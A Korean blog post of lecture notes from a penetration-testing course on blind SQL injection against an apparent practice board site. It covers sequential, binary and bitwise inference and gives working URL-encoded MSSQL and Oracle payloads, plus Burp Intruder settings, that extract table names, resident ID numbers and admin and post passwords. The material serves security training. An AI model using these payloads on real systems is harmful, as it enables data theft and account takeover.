본문 바로가기
카테고리 없음

모의해킹 강의(SQL Injection Part1) 10 BLIND-BASED

by IT매니절 2024. 10. 30.

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

강의주소 :  https://www.inflearn.com/course/sql-injection-secure-coding-1/dashboard

 

BLIND-BASED 공격이

에러기반, 유니온 공격이 불가할 때 수행하는 공격
(dbms 에러 미노출, 데이터베이스 데이터가 웹페이지에 출력되지 않음)
응답의 참과 거짓으로 판단을 해나간다

Time-based 공격이 있는데, 너무 오래걸려서 실무에서 잘 쓰지 않음

 

공격 프로세스
공격 기법 검증content-based, response-based, time-based
추론 기법 검증 Sequential search, Binary search, Bit by bit search
그 후 기본정보, 메타데이터, 데이터 목록화

 

content-based
%' and '1'=' 처럼, 기준문자가 있고 참과 거짓을 판별할 수 있는 공격

Response-based
게시글 자체가 존재하지 않는 경우,
게시글이 존재하지 않는 응답과 페이지오류 응답이 다를 수 있다
이를 Burp같은 프록시로 보면 응답 사이즈가 달라 비교할 수 있다

time-based
참거짓을 판별할 수 있는 데이터, 에러페이지, 페이지 응답 기준 등이 없을때 사용

네트워크 상황에 따라 오탐 발생률이 있고 오래걸려서 서버자원을 소모함

 

시간이 부족하여 content-based 만 실습

 

데이터 추론 기법
순차 탐색(하나씩), 이진 탐색(반씩 탐색), 비트 단위 탐색(1바이트 문자의 8비트에 대해 1 셋팅 여부 탐색->문자추출)

 

순차탐색

혼자 작성해본 sql
mysql
select count(*) from member a, information_schema.schemata b where b.schema_name='webservice' and a.id='admin' and a.pw='a%'

mssql
select count(*) from member a, master.sys.databases b where b.name='C##TESTER' and a.id='admin' and a.pw='a%'

oracle
select count(*) from member a, all_tables b where b.table_name='MEMBERS' and a.id='admin' and a.pw='a%'

아... 강사님 의도를 잘못 이해했다. 데이터베이스명까지 넣어서 작성해야하는줄 알았네...

정답은
where substring((select pw from member where id='admin'), 1, 1)='a' 로 소개되었다
첫번째라서 %를 써도 되지만, 다른 자릿수를 생각하면 substring(대상, 시작자리, 개수)를 쓰는것이 맞았다

mysql : substring, substr, mid
mssql : substring
oracle : substr

 

알파벳 소문자, 대문자, 숫자, 특수문자 등 최소 97문자 이상의 비교가 필요

E,A,R,I 등 빈도수가 높은 문자를 우선 배치하면 더 빠르다

 

 

mssql로 실습

컬럼부분에 '%2b' 넣어서 출력확인, 취약 판단

1=1+and+title

1=2+and+title

참, 거짓 확인

 

일치하면 결과값이 나오니 그것으로 판단

search_type=substring(system_user,2,1)='a'+and+title&keyword=test

의문점 : 실습에서는 sa 계정이 나왔지만, 만약 모르는 계정일 경우 계정값의 끝을 어떻게 판단할 수 있을까? 예를들어 관리자가 sa계정을 sas로 바꿔두었다면? => 아래에서 길이체크를 배웠다 해결

 

카운팅
select count(*) from sys.columns where object_id in(select object_id from sys.objects where type='U') and name like '%jumin%';
↓ 인코딩
search_type=(select+count(*)+from+sys.columns+where+object_id+in(select+object_id+from+sys.objects+where+type%3d'U')+and+name+like+'%25jumin%25')>0+and+title&keyword=test

 

테이블명 길이 추출

레코드가 하나이므로 바로 len 함수를 써서 테이블명의 길이를 알아낸다

search_type=len((select+object_name(object_id)+from+sys.columns+where+object_id+in(select+object_id+from+sys.objects+where+type%3d'U')+and+name+like+'%25jumin%25'))>6+and+title&keyword=test

=> 7글자는 초과하지 않고, 6글자는 초과하므로 7글자이다

 

테이블명 추출

substring((select object_name(object_id) from sys.columns where object_id in(select object_id from sys.objects where type='U') and name like '%jumin%'),1,1)='a'+and+title

↓ 인코딩

search_type=substring((select+object_name(object_id)+from+sys.columns+where+object_id+in(select+object_id+from+sys.objects+where+type%3d'U')+and+name+like+'%25jumin%25'),1,1)='m'+and+title&keyword=test

=> 순차적으로 얻어, members 완성

 

컬럼명길이 확인

select name from sys.columns where object_id=object_id('members') and name like '%jumin%'

↓ 인코딩
search_type=len((select+name+from+sys.columns+where+object_id%3dobject_id('members')+and+name+like+'%25jumin%25'))=5+and+title&keyword=test

 

jumin을 검색했는데 5글자면 jumin 컬럼이라는 것을 확인 가능

 

데이터 개수 확인

select count(*) from members

↓ 인코딩
search_type=(select+count(*)+from+members)=5+and+title&keyword=test

 

순차적 레코드 출력 원형
select top 1 jumin from (select top 1 jumin from members order by jumin)a order by jumin desc

 

길이파악
len((select top 1 jumin from (select top 1 jumin from members order by jumin)a order by jumin desc))>13

↓ 인코딩

search_type=len((select+top+1+jumin+from+(select+top+1+jumin+from+members+order+by+jumin)a+order+by+jumin+desc))>13+and+title&keyword=test

jumin 컬럼의 데이터 길이 파악. 14글자.

 

데이터 맞추기

substring((select top 1 jumin from (select top 1 jumin from members order by jumin)a order by jumin desc),1,1)='1'

↓ 인코딩

search_type=substring((select+top+1+jumin+from+(select+top+1+jumin+from+members+order+by+jumin)a+order+by+jumin+desc),1,1)%3d'8'+and+title&keyword=test

 

 

Burp의 Intuder 기능을 이용해 자동 전송하기

ctrl + i 단축키를 이용하면 자동으로 Intruder로 넘어가진다

이런 화면에서, 이미 뭔가 잡혀있다면 clear 눌러주고, 자동화할 파라미터를 드래그 한 뒤 add $ 클릭하면 캡쳐처럼 지정된다.

오른쪽에 Payloads 창이 생긴다

type은 주민번호이므로 Numbers

10회 request

0부터 9까지 1씩 증가하면서 요청한다

Start attack 누르면,

이렇게 내역이 새창으로 뜨는데, 하나만 응답크기가 다른것으로 보아 답은 9번째 요청인 8.

 

다만 실무에서는 자동화도구를 제작하여 쓰기 때문에 Burp는 잘 안쓴다고함

 

얻어낸 데이터 확인

search_type=(select+top+1+jumin+from+(select+top+1+jumin+from+members+order+by+jumin)a+order+by+jumin+desc),1,1)%3d'81xxxx-2222111'+and+title&keyword=test

 

 

 

이진탐색
첫 번째 문자의 아스키코드(ex a는 97)가 N보다 큽니까? 작습니까? 등의 질의 이용

0~31은 제어문자이므로 32부터 126까지의 범위에서 탐색하면 된다

 

select * from members where id='admin' and ascii(substring(password, 1,1))>80;

=> 80, 40, 60, 이런식으로 나누어서 질의를 던진다

select char(80);

=> P

알아낸 숫자는 문자로 변환가능

 

이진탐색 실습은 ORACLE

GET /board/oracle/view.php?idx=26-1
GET /board/oracle/view.php?idx=24%2b1
=> 취약 확인

SID 추출 길이 확인

length((select global_name from global_name))>3

↓ 인코딩
GET /board/oracle/view.php?idx=25+and+length((select+global_name+from+global_name))=2

두글자

 

기본공격페이로드

ascii(substr([데이터],1,1))>80

 

ascii(substr((select global_name from global_name),1,1))>80

↓ 인코딩

GET /board/oracle/view.php?idx=25+and+ascii(substr((select+global_name+from+global_name),1,1))=88

 

88과 69 => XE

GET /board/oracle/view.php?idx=25+and+(select+global_name+from+global_name)='XE'

확인

 

 

사용자C##TESTER, 테이블명tb_board, 컬럼명password이 주어진 상태에서 비밀번호 뚫기


길이추출
GET /board/oracle/view.php?idx=25+and+length((select+password+from+C%23%23TESTER.tb_board+where+idx%3d41))>3 HTTP/1.1
=> 4

비밀번호 추출
GET /board/oracle/view.php?idx=25+and+ascii(substr((select password from C##TESTER.tb_board where idx=41),1,1))>80

↓ 인코딩
GET /board/oracle/view.php?idx=25+and+ascii(substr((select+password+from+C%23%23TESTER.tb_board+where+idx%3d41),1,1))>102

 

(+열람 게시글은 25번이고 비밀글 게시글은 41번이다. 요청 idx 25인 이유는 참거짓 판단을 위해서.)

인코딩할때 영역설정을 잘해야한다.... 애먼 코드를 인코딩했다가 한참 동안 에러 찾아 헤맸다

 

오라클에서는 select chr(숫자) 를 이용하면 문자로 변환가능하다

대충입력했는데 103 102 115 101 나와서 gfse 였음

단, 패스워드가 평문으로 저장되어 있어서 쉽게 알 수 있었으며 30자 이상일 경우 해시화 되어있는 것으로 추측할 수 있다

 

 

비트탐색

첫 번째 문자의 아스키코드 값을 1로 AND 연산했을 때 1인가?

이진탐색보다 빠르거나 비슷한 속도

 

2진수로 변환하는 함수

select bin(100);

다양한 진법을 지원하여 변환하는 함수

select conv(100, 10, 2);

 

 

NOT 연산자 : 0은 1로, 1은 0으로
OR 연산자 : 둘 중 하나만 1이어도 1
AND 연산자 : 둘 다 1이어야 1
XOR 연산자 : 서로 다른값이어야 1 (01=>1, 11이나 00=>0)

 

mysql과 mssql
AND : &
OR : |
XOR : ^

oracle
bitand 함수

아스키코드는 32~126 사이의 값이 유의미하므로
2진수의 8번째 자리(128)는 체크하지 않는다

 

 

ascii(substring(select ...),1,1) & N = N
N값에는 1 2 4 8 16 32 64 까지 들어갈 수 있다

 

예시 : select * from members where id='admin' and ascii(substring('admin',1,1))&64=64;

1 2 4 8 16 32 64 순서대로 집어넣어 결과값이 나오면(true) 해당 숫자들을 전부 더해 총합을 구하고, 총합에 따른 문자를 구한다.

a의 경우 1 32 64 가 나와 97이었다.

 

search_type=all&keyword=test%'+and+ascii(substring(system_user,1,1))&64=64+and+'%'='

↓ 인코딩

search_type=all&keyword=test%25'+and+ascii(substring(system_user,1,1))%2664=64+and+'%25'='

%가 붙는 이유는 검색기능이라서. url이므로 인코딩된 %25로 나타내진다.

 

mem이 들어가는 테이블 카운팅
search_type=all&keyword=test%25'+and+(select count(*) from sys.objects where type='U' and name like '%mem%')>2+and+'%25'='
↓ 인코딩
search_type=all&keyword=test%25'+and+(select+count(*)+from+sys.objects+where+type%3d'U'+and+name+like+'%25mem%25')>2+and+'%25'='

=> 1개 반환됨

 

len((select name from sys.objects where type='U' and name like '%mem%'))>5

↓ 인코딩
search_type=all&keyword=test%25'+and+len((select+name+from+sys.objects+where+type%3d'U'+and+name+like+'%25mem%25'))=7+and+'%25'='

=> 7글자

 

 

 

Intruder를 이용해본 결과

구문 search_type=all&keyword=test%25'+and+ascii(substring((select+name+from+sys.objects+where+type%3d'U'+and+name+like+'%25mem%25'),1,1))%261=1+and+'%25'='

Battering ram attack 선택

제곱단위로 건너뛰게 하고 싶었는데 내가 못 찾는건지 안 보여서, Simple list로 해서 수동으로 리스트를 만들었다.

반복횟수는 첫번째 1을 포함하여 2~64까지 6번 더 진행하여 총 7회이다

처음에는 1도 리스트에 넣고 셋팅값을 빈값으로 넣었는데 그랬더니 빈값요청을 넣게 되어 헷갈려서 1을 초기셋팅값으로 넣었다.

1 4 8 32 64 => 109 m

1 4 32 64 => 101 e

1 4 8 32 64 => 109 m

2 32 64 => 98 b

1 4 32 64 => 101 e

2 16 32 64 => 114 r

1 2 16 32 64 => 115 s

 

members 추출

 

그런데 이렇게 하면 한번에 쫙 돌릴수 없으니 변경

 

Cluster boom attack 선택

셋팅 변수 위치를 변경했다. 첫번째 포지션이 1=1 2=2... 여야 편하게 볼 수 있어서. 포지션이 무조건 첫번째로 만든 셋팅변수에 고정되어서 몇번이나 다시 셋팅했다;

1번은 이렇게 1=1부터 64=64

2번은 1부터 7까지 (7글자니까)

 

search_type=all&keyword=test%25'+and+§1=1§%26ascii(substring((select+name+from+sys.objects+where+type%3d'U'+and+name+like+'%25mem%25'),§1§,1))+and+'%25'='

시간은 좀 걸리지만 한번에 쫙 나오는 것을 볼 수 있다

 

추가로

 

오른쪽 옆에 메뉴의 Setting에서 Grep - Extract 선택

true이면 test3 게시글이 response에 출력되니까, test3 더블클릭하면 알아서 잡아준다

설정하고

Start 해보면 옆에 설정한 기준문자, test3 이 있다. response에 해당 문자가 있다는 뜻.

그러면 test3이 적힌 자릿수만 체크하여 더하면 비트수의 총합을 구할 수 있다

 

members 테이블의 컬럼 개수 구하기

search_type=all&keyword=test%25'+and+(select count(*) from sys.columns where object_id=object_id('members'))=4+and+'%25'='
↓ 인코딩
search_type=all&keyword=test%25'+and+(select+count(*)+from+sys.columns+where+object_id%3dobject_id('members'))=4+and+'%25'='

=> 4개

 

(* 자꾸 count 쓰는데 len을 같이 쓰는 실수를 한다... 잊지말것)

 

순차적 레코드

select name from (select row_number() over(order by name)r, name from sys.columns where object_id=object_id('members'))a where a.r=1;

또는

select top 1 name from sys.columns where object_id=object_id('members') and name not in(select top 0 name from sys.columns where object_id=object_id('members'));

또는

select top 1 name from (select top 1 name from sys.columns where object_id=object_id('members') order by name)a order by name desc;

 

세 가지 방법으로 추출할 수 있다

 

컬럼명 길이 추출

search_type=all&keyword=test%25'+and+len((select+name+from+(select+row_number()+over(order+by+name)r,+name+from+sys.columns+where+object_id%3dobject_id('members'))a+where+a.r%3d1))=2+and+'%25'='
=> 각각 2, 3, 5, 8글자. a.r%3d1 a.r%3d2 a.r%3d3 a.r%3d4 바꿔주면서 추출

1 8 32 64 => 105
4 32 64 => 100

id

 

1 8 32 64 => 105
4 32 64 => 100
8 16 32 64 => 120
idx

 

이하 과정은 같아서 생략

jumin, password 이다

 

 

관리자 패스워드 탈취 (MSSQL)
1) select count(*) from members where id like '%admin%';
=> count로 admin 관련 id가 있는지 확인
2) len((select id from members where id like '%admin%'))
=>1개이므로 길이를 체크 (여러개라면 order by, now_number, not in 방식 중 하나를 택하여 순차적으로 확인)
5글자이면 admin 그대로인 것으로 확인
3) len((select password from members where id='admin'))
=> 비밀번호 11자 길이 체크
4) ascii(substring((select password from members where id='admin'),1,1))&1=1

search_type=all&keyword=test%25'+and+§1=1§%26ascii(substring((select+password+from+members+where+id%3d'admin'),§1§,1))+and+'%25'='

11번 반복하여 추출한다.

 

 

게시글 패스워드 탈취 (ORACLE)

1) length((select password from tb_board where idx=41))
=> /board/oracle/view.php?idx=25+and+length((select+password+from+tb_board+where+idx%3d41))=4
길이체크 4글자
2) select password from tb_board where idx=41
=> bitand(ascii(substr((select password from tb_board where idx=41),1,1)),1)=1
=> /board/oracle/view.php?idx=25+and+bitand(ascii(substr((select+password+from+tb_board+where+idx%3d41),1,1)),1)=1
Intruder에서는
/board/oracle/view.php?idx=25+and+bitand(ascii(substr((select+password+from+tb_board+where+idx%3d41),1,1)),§1)=1§
이렇게 돌렸다.

Burp의 기능상 문제로... 무조건 앞에 있는 변수를 첫번째 포지션으로 잡기 때문에 4글자 전체를 한번에 돌릴수는 없었다 ㅠㅠ 

 

 

 

자주 사용되는 도구 : SQL MAP